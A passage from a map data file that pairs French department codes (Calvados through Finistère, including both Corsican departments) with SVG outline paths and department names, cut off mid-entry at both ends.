203.59375,107.71875 L 205.5625,106.5625 L 205.5625,105.78125 L 203.59375,105.1875 L 202.65625,97.78125 z ", "name" : "Calvados"},
	"FR-15" : {"path": "M 285.84375,323.71875 L 285.25,325.875 L 286.21875,328.21875 L 285.03125,329.59375 L 283.09375,329.59375 L 281.125,327.4375 L 279.375,326.46875 L 279.1875,331.9375 L 275.65625,334.09375 L 273.125,337.59375 L 273.71875,341.125 L 272.9375,342.6875 L 271.9375,345.8125 L 270.375,345.8125 L 268.8125,347.75 L 270,348.9375 L 270.78125,350.875 L 268.25,352.65625 L 269.28125,359.1875 L 272.59375,361.65625 L 270.09375,367.46875 L 272.59375,368.5625 L 271.5,371.875 L 273.6875,372.15625 L 275.34375,369.40625 L 278.125,369.40625 L 278.65625,370.21875 L 284.75,370.21875 L 285.84375,367.75 L 287.21875,367.1875 L 287.78125,362.78125 L 289.15625,362.78125 L 289.15625,358.09375 L 294.6875,353.375 L 295.25,354.21875 L 295.78125,357.8125 L 299.65625,357.25 L 300.5,362.78125 L 302.40625,362.78125 L 302.96875,368.3125 L 304.6875,370.4375 L 307.5,363.96875 L 310.25,355.375 L 313.75,357.71875 L 315.3125,354.21875 L 320.3125,352.40625 L 320.3125,350.75 L 319.25,349.15625 L 317.125,347.90625 L 318.1875,346.3125 L 317.28125,345.4375 L 318.34375,345.09375 L 319.59375,344.03125 L 317.46875,343.84375 L 316.40625,342.4375 L 316.0625,338.71875 L 314.8125,337.46875 L 313.9375,334.3125 L 309.5,334.3125 L 308.625,331.8125 L 307.21875,331.65625 L 306.5,333.0625 L 303.6875,332.875 L 301.03125,328.8125 L 299.96875,328.65625 L 297.84375,327.59375 L 296.59375,328.8125 L 293.4375,328.8125 L 291.84375,325.46875 L 285.84375,323.71875 z ", "name" : "Cantal"},
	"FR-16" : {"path": "M 206.28125,284.875 L 204.59375,286.15625 L 204.8125,288.9375 L 203.75,289.78125 L 200.75,288.0625 L 197.78125,289.125 L 194.375,289.34375 L 191.8125,286.21875 L 191,286.375 L 187.59375,288.0625 L 185.03125,288.71875 L 185.03125,290.1875 L 183.5625,291.90625 L 183.96875,292.96875 L 182.0625,294.03125 L 180.375,300.1875 L 179.9375,304.21875 L 178.46875,304.84375 L 176.34375,304.65625 L 175.90625,303.59375 L 173.5625,303.59375 L 172.3125,304.65625 L 169.53125,304.65625 L 167.1875,305.90625 L 168.90625,306.5625 L 169.125,311.03125 L 169.96875,311.21875 L 168.46875,312.9375 L 170.1875,314 L 172.5,316.125 L 173.78125,318.25 L 175.28125,319.71875 L 174.84375,321.84375 L 174,322.6875 L 175.28125,323.96875 L 175.28125,325.46875 L 172.71875,327.59375 L 173.78125,328.4375 L 175.28125,328.875 L 175.28125,329.28125 L 173.15625,330.125 L 173.34375,331.1875 L 174.625,331.84375 L 178.65625,331.1875 L 180.375,333.09375 L 181.65625,334.8125 L 185.8125,337.625 L 186.40625,336.625 L 190.3125,337.03125 L 192.25,335.25 L 195.78125,331.75 L 195.96875,324.90625 L 205.15625,318.65625 L 205.34375,313.96875 L 208.09375,313.59375 L 209.84375,310.46875 L 210.9375,310.5 L 211.59375,307.53125 L 213.15625,307.34375 L 214.125,304.59375 L 216.09375,304 L 218.4375,302.4375 L 218.0625,297.5625 L 219.8125,296.96875 L 223.3125,296.1875 L 223.125,294.4375 L 222.53125,291.71875 L 219.8125,291.5 L 218.25,289.75 L 219.21875,288 L 219.28125,286.40625 L 217.53125,285.53125 L 214.15625,285.53125 L 212.65625,287.21875 L 209.03125,288.71875 L 207.78125,287.4375 L 206.28125,284.875 z ", "name" : "Charente"},
	"FR-17" : {"path": "M 149.3125,270.625 L 146.5625,270.8125 L 140.59375,274.4375 L 142.03125,275.75 L 138.90625,278.28125 L 138.53125,280.25 L 135.59375,280.625 L 134.03125,278.875 L 130.125,278.5 L 129.71875,276.53125 L 127.375,274.96875 L 124.0625,276.15625 L 126.21875,279.28125 L 128.9375,279.28125 L 131.6875,281.03125 L 133.84375,282.78125 L 137.9375,282.59375 L 138.71875,284.34375 L 141.4375,284.9375 L 142.4375,287.65625 L 144.1875,288.4375 L 144,290.59375 L 141.65625,290.21875 L 140.875,291.375 L 142.625,293.90625 L 141.65625,298.21875 L 139.3125,298.03125 L 139.5,300.75 L 140.09375,301.71875 L 137.34375,301.71875 L 136.96875,300.15625 L 138.71875,297.8125 L 138.125,296.46875 L 137.15625,295.6875 L 136.75,291 L 133.4375,290.59375 L 130.71875,287.28125 L 130.3125,294.125 L 134.8125,297.4375 L 135.1875,301.15625 L 135.96875,305.4375 L 136.375,309.75 L 138.71875,309.53125 L 142.8125,312.875 L 145.5625,314.4375 L 145.75,316.375 L 147.90625,316.78125 L 154.15625,323.03125 L 155.625,329.78125 L 161.40625,329.78125 L 162.375,328.8125 L 162.5625,331.75 L 167.65625,332.34375 L 168.4375,338.59375 L 171.1875,338.78125 L 175.65625,343.28125 L 178,343.65625 L 180.75,342.28125 L 182.6875,343.65625 L 184.25,340.34375 L 185.8125,337.625 L 181.65625,334.8125 L 180.375,333.09375 L 178.65625,331.1875 L 174.625,331.84375 L 173.34375,331.1875 L 173.15625,330.125 L 175.28125,329.28125 L 175.28125,328.875 L 173.78125,328.4375 L 172.71875,327.59375 L 175.28125,325.46875 L 175.28125,323.96875 L 174,322.6875 L 174.84375,321.84375 L 175.28125,319.71875 L 173.78125,318.25 L 172.5,316.125 L 170.1875,314 L 168.46875,312.9375 L 169.96875,311.21875 L 169.125,311.03125 L 168.90625,306.5625 L 167.1875,305.90625 L 169.53125,304.65625 L 172.3125,304.65625 L 173.5625,303.59375 L 175.90625,303.59375 L 176.34375,304.65625 L 178.46875,304.84375 L 179.9375,304.21875 L 180.375,300.1875 L 182.0625,294.03125 L 182.125,294 L 180.59375,292.53125 L 180.15625,290.40625 L 177.40625,289.125 L 173.78125,286.59375 L 169.3125,287 L 166.5625,283.40625 L 162.53125,283.1875 L 159.34375,280.84375 L 159.34375,279.5625 L 157.21875,277.25 L 157.125,274.375 L 154.1875,272.1875 L 150.46875,273.75 L 149.3125,270.625 z ", "name" : "Charente Maritime"},
	"FR-18" : {"path": "M 275.53125,200.84375 L 272.6875,202.25 L 270.15625,204.34375 L 270.28125,205.1875 L 272.8125,205.875 L 273.8125,208 L 275.34375,208.5625 L 274.78125,209.8125 L 274.78125,211.90625 L 272.40625,212.90625 L 270.5625,216.25 L 270.4375,218.09375 L 271.125,218.9375 L 271.40625,219.90625 L 268.90625,221.3125 L 264.96875,221.71875 L 264,220.625 L 262.875,220.75 L 261.75,222 L 261.875,224.53125 L 259.375,224.6875 L 259.21875,226.90625 L 256.96875,228.75 L 257.25,229.59375 L 258.65625,230.71875 L 261.46875,231.125 L 263.5625,230.28125 L 266.21875,230.15625 L 267.5,231.125 L 267.0625,233.78125 L 269.3125,236.75 L 269.3125,238 L 268.34375,239.6875 L 268.34375,240.375 L 269.46875,241.65625 L 271.28125,241.65625 L 271.40625,242.46875 L 269.1875,244.3125 L 269.3125,245.5625 L 267.90625,246.28125 L 268.46875,247.25 L 270.28125,248.78125 L 270.28125,249.90625 L 268.34375,251.03125 L 268.34375,252.71875 L 271,254.125 L 271.5625,256.09375 L 273.25,257.625 L 273.09375,258.1875 L 272.40625,259.03125 L 272.25,261.5625 L 271.84375,262.40625 L 272.96875,264.625 L 273.375,266.3125 L 271.40625,268.28125 L 271.3125,269.84375 L 275.90625,269.28125 L 276.84375,267.28125 L 279.375,264.375 L 284.25,263.375 L 286.8125,264.15625 L 289.53125,262.03125 L 289.34375,260.46875 L 288.375,259.6875 L 288.375,256.5625 L 293.625,251.28125 L 295.59375,253.4375 L 297.34375,251.65625 L 298.90625,251.46875 L 301.625,247.96875 L 306.125,248.34375 L 306.1875,249.40625 L 307.6875,244.625 L 306.71875,242.875 L 306.90625,240.34375 L 307.5,235.25 L 305.34375,233.125 L 305.75,228.4375 L 303.78125,224.3125 L 303.59375,221.59375 L 300.0625,218.84375 L 299.5,216.5 L 301.25,213.96875 L 301.25,210.25 L 299.21875,207.875 L 297.21875,208.6875 L 296.25,208.28125 L 294.84375,206.4375 L 294,206.3125 L 293.4375,206.59375 L 293.28125,209.40625 L 292.03125,209.53125 L 291.0625,208.6875 L 288.8125,205.59375 L 287.96875,204.5 L 284.75,204.34375 L 283.1875,202.375 L 281.9375,202.375 L 281.375,203.09375 L 279.28125,203.375 L 277.59375,201.8125 L 275.625,200.96875 L 275.53125,200.84375 z ", "name" : "Cher"},
	"FR-19" : {"path": "M 265.75,307.625 L 264.90625,309.75 L 261.71875,310.375 L 260.46875,312.5 L 258.96875,312.5 L 256.84375,311.875 L 255.34375,314.40625 L 253.03125,314.625 L 251.53125,317.375 L 249.625,317.375 L 248.125,318.875 L 244.3125,318.4375 L 243.03125,320.5625 L 241.5625,320.375 L 239,323.5625 L 236.65625,322.6875 L 235.5625,324.90625 L 236.40625,327.0625 L 238.5625,328.8125 L 234.65625,332.34375 L 234.65625,335.0625 L 236.21875,335.84375 L 234.65625,337.8125 L 236.8125,339.5625 L 235.25,341.5 L 237,342.6875 L 241.28125,342.5 L 241.09375,346.78125 L 242.71875,349.34375 L 243.3125,349.25 L 247.46875,347.3125 L 252.4375,349.53125 L 256.28125,355.03125 L 258.5,354.75 L 261.8125,351.4375 L 262.90625,353.375 L 265.125,351.1875 L 268.15625,352 L 268.25,352.65625 L 270.78125,350.875 L 270,348.9375 L 268.8125,347.75 L 270.375,345.8125 L 271.9375,345.8125 L 272.9375,342.6875 L 273.71875,341.125 L 273.125,337.59375 L 275.65625,334.09375 L 279.1875,331.9375 L 279.375,326.46875 L 281.125,327.4375 L 283.09375,329.59375 L 285.03125,329.59375 L 286.21875,328.21875 L 285.25,325.875 L 286.21875,322.375 L 285.625,319.0625 L 284.4375,317.6875 L 284.4375,314.9375 L 286.21875,312.03125 L 285.8125,309.28125 L 285.375,308.84375 L 283.40625,310.375 L 279.5625,310.375 L 278.3125,312.28125 L 275.96875,312.28125 L 274.0625,310.375 L 273.1875,309.09375 L 268.3125,309.09375 L 267.25,307.625 L 265.75,307.625 z ", "name" : "Corrèze"},
	"FR-2A" : {"path": "M 445.33847,488.9562 L 445.33847,491.11245 L 447.30722,492.48745 L 450.61972,494.42495 L 450.83847,495.98745 L 448.86972,496.5812 L 445.74472,497.17495 L 445.74472,498.5187 L 446.90097,499.7062 L 447.11972,503.61245 L 451.40097,504.98745 L 452.96347,505.36245 L 454.33847,507.5187 L 453.36972,508.8937 L 451.80722,509.4562 L 450.61972,511.61245 L 449.46347,512.98745 L 450.02597,516.48745 L 452.96347,516.29995 L 453.74472,516.8937 L 456.49472,515.5187 L 457.27597,516.29995 L 455.90097,519.23745 L 457.27597,520.61245 L 454.93222,522.36245 L 453.36972,525.86245 L 457.65097,526.86245 L 463.71347,527.42495 L 461.18222,530.36245 C 461.18222,530.36245 459.99289,529.90364 459.46347,530.1437 C 459.44782,530.15141 459.41536,530.16589 459.40097,530.17495 C 459.39647,530.17828 459.37406,530.20271 459.36972,530.2062 C 459.36553,530.20986 459.34249,530.23363 459.33847,530.23745 C 459.33478,530.24161 459.31073,530.26437 459.30722,530.2687 C 459.30054,530.27771 459.28192,530.29022 459.27597,530.29995 C 459.27319,530.30499 459.27856,530.32597 459.27597,530.3312 C 459.27118,530.34203 459.24871,530.38211 459.24472,530.3937 C 459.24293,530.39969 459.2463,530.41876 459.24472,530.42495 C 459.24199,530.43772 459.21532,530.47387 459.21347,530.48745 C 459.21207,530.50144 459.21394,530.53512 459.21347,530.54995 C 459.21348,531.52651 457.86972,533.8937 457.86972,533.8937 L 459.80722,536.0187 L 463.33847,538.17495 L 469.96347,539.92495 L 471.90097,540.7062 L 473.68222,541.48745 L 472.49472,543.6437 L 475.61972,543.4562 L 476.21347,544.8312 L 479.33847,544.8312 L 480.11972,541.11245 L 478.15097,540.7062 L 480.90097,537.79995 L 479.93222,536.79995 L 480.11972,535.04995 L 483.65097,533.11245 L 483.83847,530.9562 L 481.49472,530.7687 L 479.93222,532.11245 L 479.93222,530.17495 L 483.05722,529.98745 L 484.02597,527.6437 L 484.80722,520.79995 L 484.21347,517.86245 L 484.15097,515.04995 L 480.74472,517.29995 L 476.68222,517.4562 L 476.33847,514.6437 L 476.86972,513.92495 L 475.61972,513.04995 L 475.27597,508.2687 L 474.74472,507.3937 L 472.61972,507.3937 L 471.55722,506.5187 L 471.55722,503.1437 L 470.15097,502.2687 L 469.08847,501.73745 L 466.96347,499.0812 L 467.11972,497.48745 L 464.49472,497.48745 L 463.58847,494.8312 L 459.86972,494.8312 L 457.93222,492.17495 L 458.46347,491.29995 L 457.24472,490.5812 L 454.40097,491.11245 L 453.33847,490.42495 L 449.46347,490.42495 L 449.08847,489.36245 L 446.90097,488.9562 L 445.33847,488.9562 z ", "name" : "Corse du Sud"},
	"FR-2B" : {"path": "M 477.96347,449.8937 L 475.02597,451.86245 L 475.43222,453.79995 L 476.99472,455.7687 L 475.24472,457.11245 L 476.02597,458.67495 L 474.83847,460.04995 L 474.83847,461.79995 L 476.80722,463.5812 L 476.80722,466.29995 L 475.61972,468.8312 L 474.27597,469.42495 L 472.71347,467.2687 L 469.96347,467.48745 L 469.36972,467.0812 L 467.02597,467.0812 L 464.90097,469.04995 L 464.08847,472.36245 L 459.02597,473.3312 L 455.11972,476.6437 L 454.33847,478.79995 L 452.40097,478.61245 L 451.40097,477.42495 L 450.83847,480.7687 L 449.46347,481.3312 L 449.05722,484.4562 L 449.65097,485.8312 L 447.49472,487.3937 L 446.90097,488.9562 L 449.08847,489.36245 L 449.46347,490.42495 L 453.33847,490.42495 L 454.40097,491.11245 L 457.24472,490.5812 L 458.46347,491.29995 L 457.93222,492.17495 L 459.86972,494.8312 L 463.58847,494.8312 L 464.49472,497.48745 L 467.11972,497.48745 L 466.96347,499.0812 L 469.08847,501.73745 L 470.15097,502.2687 L 471.55722,503.1437 L 471.55722,506.5187 L 472.61972,507.3937 L 474.74472,507.3937 L 475.27597,508.2687 L 475.61972,513.04995 L 476.86972,513.92495 L 476.33847,514.6437 L 476.68222,517.4562 L 480.74472,517.29995 L 484.15097,515.04995 L 484.02597,509.2687 L 488.71347,502.6437 L 488.71347,491.7062 L 486.77597,487.98745 L 486.18222,476.2687 L 484.80722,474.11245 L 482.27597,472.17495 L 481.86972,464.92495 L 483.05722,461.61245 L 481.49472,456.3312 L 480.52597,452.04995 L 479.71347,450.86245 L 477.96347,449.8937 z ", "name" : "Haute-Corse"},
	"FR-21" : {"path": "M 363.375,177.25 L 362.96875,179.78125 L 360.4375,181.15625 L 354,181.34375 L 354.28125,182.75 L 354.4375,184.15625 L 352.46875,185.5625 L 352.46875,187.9375 L 352.875,188.375 L 354.4375,188.375 L 355.40625,190.03125 L 354.84375,192.84375 L 352.59375,194.53125 L 352.59375,196.21875 L 353.3125,196.78125 L 353.15625,197.1875 L 351.75,197.75 L 351.34375,199.84375 L 349.09375,204.625 L 347.5625,206.875 L 347.5625,209.125 L 348.125,210.09375 L 347.28125,211.21875 L 345.3125,212.1875 L 345.4375,214.15625 L 347.28125,215.28125 L 347.96875,216.8125 L 347.6875,218.9375 L 347.28125,220.46875 L 348.25,222.15625 L 351.0625,222.71875 L 352.3125,224.6875 L 352.3125,225.53125 L 351.46875,225.8125 L 351.46875,227.84375 L 351.625,227.90625 L 355.40625,231.8125 L 359.34375,231.6875 L 362.84375,234.34375 L 365.375,236.1875 L 365.5,238.5625 L 368.15625,239.125 L 370.40625,240.9375 L 376.3125,238.84375 L 380.375,237.5625 L 382.1875,237.28125 L 382.75,236.46875 L 384.71875,236.59375 L 386.25,237.5625 L 388.5,237 L 390.75,235.46875 L 392.4375,235.65625 L 392.46875,235.46875 L 393.8125,234.6875 L 393.625,233.6875 L 393.25,232.53125 L 394.21875,230.96875 L 397.53125,229.40625 L 397.53125,227.84375 L 398.71875,226.28125 L 399.875,224.71875 L 399.5,223.34375 L 400.0625,221.1875 L 400.46875,218.0625 L 401.25,218.0625 L 401.0625,216.90625 L 400.28125,216.125 L 400.0625,212.21875 L 398.3125,212.03125 L 397.9375,208.90625 L 395.78125,207.90625 L 396.5625,206.9375 L 397.75,206.5625 L 400.28125,203.625 L 400.0625,202.0625 L 398.5,198.9375 L 396.1875,198.53125 L 395.375,200.5 L 391.09375,201.46875 L 390.6875,200.5 L 387.5625,196.59375 L 385.8125,197.5625 L 383.46875,197.375 L 382.6875,195.8125 L 379.5625,196 L 379.375,192.6875 L 377.625,191.5 L 380.15625,188.78125 L 375.65625,182.71875 L 372.15625,179 L 369.03125,177.25 L 363.375,177.25 z ", "name" : "Côte d'Or"},
	"FR-22" : {"path": "M 69.78125,123.21875 L 68,124.59375 L 63.53125,125.15625 L 62.53125,126.53125 L 59.40625,124.1875 L 55.3125,126.9375 L 56.875,129.0625 L 54.15625,132.78125 L 54.03125,132.71875 L 52.90625,137.96875 L 55.3125,138.125 L 55.15625,140.21875 L 56.9375,141.34375 L 55.3125,142.96875 L 54.1875,143.78125 L 54.34375,145.6875 L 56.78125,146.5 L 54.5,147.15625 L 54.5,149.5625 L 55.96875,151.5 L 56.28125,157.15625 L 55.3125,158.125 L 56.125,161.03125 L 59.1875,161.84375 L 59.5,163.4375 L 61.4375,163.59375 L 63.0625,162.46875 L 64.03125,163.4375 L 67.75,165.0625 L 70.8125,163.4375 L 71.59375,161.84375 L 74.1875,161.65625 L 77.09375,164.25 L 79.84375,163.59375 L 82.25,166.03125 L 83.375,166.03125 L 84.5,167.46875 L 86.78125,167.46875 L 87.5625,166.34375 L 88.53125,168.4375 L 90.96875,169.40625 L 94.03125,167.46875 L 94.03125,165.375 L 96.28125,164.5625 L 97.71875,164.5625 L 99.5,167.8125 L 103.375,168.125 L 105.3125,165.6875 L 107.40625,161.1875 L 110.15625,160.21875 L 111.59375,158.125 L 113.0625,159.5625 L 116.125,158.9375 L 117.09375,150.0625 L 118.0625,146.5 L 117.09375,144.5625 L 115.46875,143.9375 L 114.375,138.03125 L 113.125,139.4375 L 109.40625,139.03125 L 109.03125,141.1875 L 106.6875,141.375 L 106.5,138.65625 L 104.53125,138.0625 L 103.15625,139.625 L 103.15625,135.71875 L 100.8125,137.46875 L 97.3125,136.875 L 96.125,139.21875 L 88.90625,143.125 L 88.90625,145.09375 L 87.34375,145.09375 L 87.34375,141.5625 L 83.25,139.625 L 83.625,136.09375 L 79.9375,133.375 L 79.9375,130.0625 L 77.1875,129.46875 L 77.375,126.34375 L 75.25,126.15625 L 75.4375,124 L 71.53125,124 L 70.9375,125.9375 L 69.78125,123.21875 z ", "name" : "Côtes d'Armor"},
	"FR-23" : {"path": "M 256.125,267.875 L 254.96875,271 L 251.4375,270.8125 L 250.65625,270.40625 L 248.3125,270.625 L 246.5625,269.4375 L 243.1875,273.3125 L 243.25,276.1875 L 240.90625,280.84375 L 241.34375,283.1875 L 243.875,283.8125 L 245.59375,288.0625 L 247.28125,289.78125 L 246.65625,297.84375 L 250.25,296.78125 L 251.75,298.6875 L 249.40625,300.59375 L 249.40625,302.53125 L 251.3125,302.71875 L 254.71875,302.53125 L 255.78125,301.03125 L 256.625,301.03125 L 256.21875,303.59375 L 258.96875,304.84375 L 261.53125,306.5625 L 261.53125,307.625 L 260.03125,307.625 L 260.46875,310.15625 L 261.46875,310.78125 L 261.71875,310.375 L 264.90625,309.75 L 265.75,307.625 L 267.25,307.625 L 268.3125,309.09375 L 273.1875,309.09375 L 274.0625,310.375 L 275.96875,312.28125 L 278.3125,312.28125 L 279.5625,310.375 L 283.40625,310.375 L 285.375,308.84375 L 281.3125,304.78125 L 280.9375,303.03125 L 284.65625,300.875 L 286.8125,299.71875 L 287.375,296.96875 L 289.71875,295.21875 L 288.9375,291.5 L 287.375,289.5625 L 287,283.5 L 284.84375,278.4375 L 282.6875,277.65625 L 281.125,274.90625 L 279.75,276.65625 L 278.40625,274.90625 L 278.40625,272.5625 L 276.0625,269.25 L 269.625,270.03125 L 265.90625,269.0625 L 256.125,267.875 z ", "name" : "Creuse"},
	"FR-24" : {"path": "M 209.84375,310.46875 L 208.09375,313.59375 L 205.34375,313.96875 L 205.15625,318.65625 L 195.96875,324.90625 L 195.78125,331.75 L 192.25,335.25 L 190.3125,337.03125 L 186.40625,336.625 L 184.25,340.34375 L 183.6875,341.5625 L 184.71875,342.78125 L 186.65625,342.78125 L 187.71875,344.375 L 186.65625,347.21875 L 186.125,350.375 L 184.34375,351.4375 L 184.34375,352.5 L 185.0625,353.5625 L 185.0625,355.5 L 183.65625,357.28125 L 185.40625,358.15625 L 185.9375,359.59375 L 191.96875,359.40625 L 194.4375,356.40625 L 196.90625,358 L 194.96875,359.40625 L 195.125,363.28125 L 197.96875,365.25 L 198.3125,368.9375 L 201.3125,370 L 203.09375,368.40625 L 206.96875,368.40625 L 209.09375,366.65625 L 210.34375,366.84375 L 210.6875,368.25 L 214.59375,368.25 L 215.46875,367.1875 L 216.875,367.375 L 218.46875,369.125 L 218.46875,370.375 L 217.0625,371.25 L 217.59375,372.5 L 219.53125,372.65625 L 222,370.375 L 224.125,370.375 L 225.53125,371.96875 L 228.59375,373.25 L 228.78125,372.75 L 230.5625,371 L 230.75,368.0625 L 235.03125,367.6875 L 237.78125,363.78125 L 236.59375,363.375 L 236.40625,361.25 L 239.71875,360.84375 L 239.9375,358.90625 L 241.5,357.90625 L 243.25,354.78125 L 241.5,352.84375 L 241.5,350.6875 L 242.84375,349.53125 L 241.09375,346.78125 L 241.28125,342.5 L 237,342.6875 L 235.25,341.5 L 236.8125,339.5625 L 234.65625,337.8125 L 236.21875,335.84375 L 234.65625,335.0625 L 234.65625,332.34375 L 238.5625,328.8125 L 236.40625,327.0625 L 235.25,324.125 L 231.125,323.53125 L 229.75,322.5625 L 232.6875,321.1875 L 231.71875,319.84375 L 227.4375,319.25 L 226.4375,315.34375 L 220.1875,314.75 L 218.8125,316.71875 L 217.46875,317.09375 L 215.6875,314.75 L 216.5,312.59375 L 215.5,310.65625 L 209.84375,310.46875 z ", "name" : "Dordogne"},
	"FR-25" : {"path": "M 447.40625,199.71875 L 447.21875,199.9375 L 444.96875,199.9375 L 443.8125,201.53125 L 442.34375,202.375 L 442.34375,204.34375 L 438.6875,204.78125 L 436.71875,203.375 L 434.0625,203.78125 L 431.53125,205.75 L 429.71875,208.84375 L 427.90625,209.40625 L 427.0625,211.5 L 424.8125,211.90625 L 421.71875,214.4375 L 417.65625,214.3125 L 416.40625,215.28125 L 415.28125,215.28125 L 411.34375,218.5 L 409.5625,218.4375 L 409.53125,219.625 L 409.8125,221.71875 L 412.34375,223.40625 L 413.75,225.25 L 413.3125,227.1875 L 412.0625,230.15625 L 411.21875,232.09375 L 416.6875,233.9375 L 420.1875,233.65625 L 420.46875,236.59375 L 420.46875,240.53125 L 424.8125,241.9375 L 426.78125,242.46875 L 429.59375,245.15625 L 429.3125,247.40625 L 428.03125,249.21875 L 424.53125,250.34375 L 425.375,252.3125 L 425.78125,253.84375 L 424.25,255.375 L 424.40625,256.78125 L 426.78125,257 L 426.8125,256.8125 L 438.90625,245.46875 L 438.53125,236.09375 L 442.8125,233.96875 L 445.75,232.59375 L 448.46875,230.0625 L 448.6875,226.34375 L 451.40625,224.96875 L 457.65625,217.75 L 456.6875,215.40625 L 458.84375,214.4375 L 461.375,211.3125 L 460,209.9375 L 455.3125,210.90625 L 455.125,210.125 L 459.4375,205.15625 L 447.40625,199.71875 z ", "name" : "Doubs"},
	"FR-26" : {"path": "M 384.9375,329.28125 L 382.1875,331.1875 L 379.84375,332.03125 L 377.5,331.3125 L 377.5,339.28125 L 379,345.21875 L 380.0625,348.625 L 381.75,352.875 L 380.6875,355.625 L 378.78125,359.25 L 378.34375,361.375 L 376.4375,361.78125 L 377.5,366.6875 L 377.5,370.90625 L 374.9375,373.90625 L 374.3125,377.71875 L 375.375,379.40625 L 374.75,380.90625 L 374.75,382.40625 L 375.59375,382.59375 L 376.21875,383.46875 L 376,387.59375 L 378.59375,387.21875 L 379.75,388.59375 L 379.1875,392.5 L 379.96875,393.46875 L 382.875,390.53125 L 385.4375,390.34375 L 386,388.78125 L 382.6875,388.375 L 382.125,384.875 L 384.25,381.5625 L 387,381.34375 L 389.71875,383.90625 L 387,387.59375 L 387.78125,388.96875 L 391.6875,389.375 L 394.21875,387.21875 L 392.84375,390.15625 L 393.25,392.5 L 397.34375,392.875 L 402.8125,393.28125 L 403.59375,395.8125 L 406.53125,397.96875 L 409.0625,398.15625 L 410.8125,396.59375 L 411.8125,393.65625 L 413.375,395.03125 L 414.53125,396.40625 L 415.3125,389.15625 L 413.375,388.78125 L 412.1875,386.25 L 405.5625,384.46875 L 404.75,381.15625 L 407.125,379.59375 L 405.15625,378.21875 L 405.5625,376.46875 L 408.6875,376.65625 L 411.40625,378.03125 L 413.5625,375.5 L 411.40625,373.75 L 411.59375,371.40625 L 412.78125,367.6875 L 416.875,367.28125 L 420.1875,365.9375 L 420.53125,365.15625 L 417,364.75 L 415.75,363.6875 L 413.8125,363.5 L 411.90625,362 L 409.375,360.5 L 406.59375,360.5 L 405.53125,359.4375 L 405.34375,343.53125 L 404.6875,343.53125 L 403.84375,345 L 401.9375,346.28125 L 397.46875,345 L 394.0625,343.9375 L 392.59375,344.375 L 392.15625,343.3125 L 393.21875,340.34375 L 392.78125,337.34375 L 393.65625,335.21875 L 391.53125,332.25 L 388.5625,332.25 L 384.9375,329.28125 z ", "name" : "Drôme"},
	"FR-27" : {"path": "M 211,94.5625 L 209.3125,94.96875 L 207.0625,97.375 L 202.6875,97.9375 L 203.59375,105.1875 L 205.5625,105.78125 L 205.5625,106.5625 L 203.59375,107.71875 L 205.9375,111.03125 L 207.125,115.71875 L 206.90625,117.6875 L 205.15625,118.84375 L 205.34375,120.21875 L 207.3125,121 L 207.5,122.75 L 205.9375,127.25 L 207.5,129.21875 L 212.96875,129.40625 L 214.125,132.125 L 216.09375,134.09375 L 218.8125,135.0625 L 219.625,138 L 218.25,139.9375 L 221.09375,141.84375 L 223.90625,139.15625 L 226.625,139.15625 L 233.6875,135.46875 L 236,136.4375 L 240.90625,136.4375 L 242.0625,135.0625 L 242.0625,132.125 L 245.96875,130.1875 L 245.96875,127.0625 L 247.03125,126.1875 L 246.9375,125.3125 L 247.9375,124.3125 L 246.1875,123.9375 L 246.1875,122.375 L 245.1875,120.8125 L 245.96875,119.84375 L 251.4375,118.28125 L 252.8125,115.9375 L 254,111.625 L 255.4375,109.84375 L 255.75,107.53125 L 257.5,108.5 L 258.875,108.125 L 257.875,106.5625 L 257.3125,102.0625 L 255.5625,100.5 L 255.59375,100.375 L 252.5,100.03125 L 247.3125,97.375 L 242.8125,97.5 L 240.4375,99.59375 L 239.15625,103.25 L 234.125,103.8125 L 229.34375,105.21875 L 231.03125,106.34375 L 230.34375,108.03125 L 228.09375,108.03125 L 226.84375,105.34375 L 225.4375,105.34375 L 223.1875,103.65625 L 226.28125,102.6875 L 221.5,99.3125 L 216.75,99.59375 L 215.625,97.65625 L 212.9375,97.9375 L 211,94.5625 z ", "name" : "Eure"},
	"FR-28" : {"path": "M 247.15625,126.09375 L 245.96875,127.0625 L 245.96875,130.1875 L 242.0625,132.125 L 242.0625,135.0625 L 240.90625,136.4375 L 236,136.4375 L 233.6875,135.46875 L 226.625,139.15625 L 223.90625,139.15625 L 221.09375,141.84375 L 221.75,142.28125 L 221.9375,145.625 L 226.0625,149.125 L 226.4375,156.34375 L 224.5,158.6875 L 221.5625,159.28125 L 218.625,161.03125 L 219.03125,162.59375 L 220.375,164.375 L 220.375,169 L 220.78125,169.0625 L 223.5,171 L 222.5,172.25 L 224.4375,173.21875 L 227.53125,172.65625 L 229.34375,172.65625 L 229.21875,173.5 L 227.53125,174.46875 L 228.65625,175.3125 L 231.46875,175.3125 L 232.4375,177.5625 L 234.125,178.53125 L 235.375,181.34375 L 239.71875,182.46875 L 242.40625,182.1875 L 244.78125,179.9375 L 246.90625,180.53125 L 247.4375,179.375 L 247.3125,178.125 L 248.4375,177.28125 L 250.25,178.40625 L 251.375,177.5625 L 251.375,176.03125 L 252.90625,175.03125 L 254.3125,175.59375 L 255.5625,177 L 257.8125,175.75 L 260.1875,175.75 L 261.875,173.90625 L 262.875,170.28125 L 264.40625,170 L 264,166.34375 L 265.8125,164.8125 L 265.25,163.6875 L 265.46875,163.3125 L 264.9375,163.375 L 264.53125,158.125 L 264.125,157.53125 L 263.75,155 L 259.65625,154.21875 L 257.875,152.0625 L 257.3125,147.75 L 254.96875,147.375 L 254.5625,145.21875 L 251.84375,143.28125 L 250.46875,139.9375 L 251.84375,137.59375 L 250.46875,136.03125 L 250.46875,134.09375 L 251.25,131.9375 L 249.6875,130.375 L 249.09375,128.03125 L 247.15625,126.09375 z ", "name" : "Eure et Loir"},
	"FR-29" : {"path": "M 40.65625,129.0625 L 38.53125,131.40625 L 36.1875,130.4375 L 31.875,130.84375 L 31.09375,132.78125 L 28.5625,133.375 L 28.15625,131.21875 L 23.6875,131.8125 L 23.6875,133.1875 L 20.5625,133.375 L 19.1875,132.40625 L 17.625,133.1875 L 17.21875,135.53125 L 11.96875,135.71875 L 9.21875,139.03125 L 11.5625,140.78125 L 8.4375,143.34375 L 9.40625,145.09375 L 8.625,149.375 L 11.75,149.78125 L 12.9375,148.59375 L 13.53125,149.375 L 20.9375,148.40625 L 25.8125,144.90625 L 21.53125,149 L 21.90625,150.9375 L 25.8125,149.1875 L 25.03125,151.9375 L 29.34375,152.125 L 29.15625,153.28125 L 24.46875,153.09375 L 20.75,152.125 L 16.25,149.96875 L 13.53125,153.09375 L 17.03125,154.28125 L 16.84375,159.53125 L 17.8125,158.75 L 19.96875,155.4375 L 24.0625,157.78125 L 26.03125,158.1875 L 26.8125,161.3125 L 